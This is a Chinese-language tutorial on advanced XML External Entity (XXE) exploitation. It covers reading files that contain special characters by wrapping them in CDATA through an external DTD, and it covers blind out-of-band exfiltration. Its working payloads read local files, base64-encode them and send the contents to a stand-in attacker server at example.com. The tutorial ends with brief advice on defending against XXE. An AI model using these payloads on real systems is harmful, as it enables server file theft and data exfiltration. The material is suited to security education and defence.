XXE漏洞详解——进阶篇
字数 796 2025-08-15 21:33:28
XXE漏洞详解——进阶篇
1. 读取包含特殊符号的文件
在读取包含"<", ">", "&"等特殊符号的文件时,XML解析器会解析这些符号导致报错。解决方法涉及CDATA和PCDATA概念:
PCDATA (Parsed Character Data)
- XML解析器会解析XML文档中的所有文本
- 元素标签之间的文本会被解析
- 可以包含嵌套的其他元素
CDATA (Unparsed Character Data)
- 不应由XML解析器解析的文本数据
- 格式:
<![CDATA[ 内容 ]]> - 常用于包含大量特殊字符的文本(如JavaScript代码)
解决方案
使用外部DTD文件绕过内部实体引用限制:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % go SYSTEM "file:///c:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">
%dtd;
]>
<root>&all;</root>
外部DTD文件内容:
<!ENTITY all "%start;%go;%end;">
2. 无回显XXE漏洞利用
当XXE漏洞没有回显时,可以通过外带数据的方式获取文件内容:
基本思路
- 将读取的文件内容赋给一个实体
- 通过HTTP请求将实体内容发送到攻击者控制的服务器
- 在服务器日志中查看文件内容
示例Payload
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://example.com/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test.txt">
%remote;
%send;
]>
<message>1234</message>
外部DTD文件
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://example.com/?%file;'>">
%start;
注意:%是%的HTML实体编码,因为在DTD文件中不能直接使用%
数据外带过程
- 目标服务器处理XML时,会读取指定文件
- 将文件内容通过base64编码
- 作为参数发送到攻击者服务器
- 攻击者查看服务器访问日志获取文件内容
关键点总结
- 特殊字符处理:使用CDATA段包裹包含特殊字符的文件内容
- 外部DTD必要性:XML解析器禁止内部参数实体引用,必须使用外部DTD
- 无回显利用:通过HTTP请求外带数据是解决无回显场景的有效方法
- 编码技巧:使用base64编码确保文件内容在传输中不被破坏
- 日志分析:攻击者需要监控服务器访问日志来获取外带的数据
防御建议
- 禁用XML外部实体解析
- 使用更安全的数据格式如JSON
- 实施严格的输入验证
- 配置XML处理器禁用DTD和外部实体
- 对XML解析器进行安全配置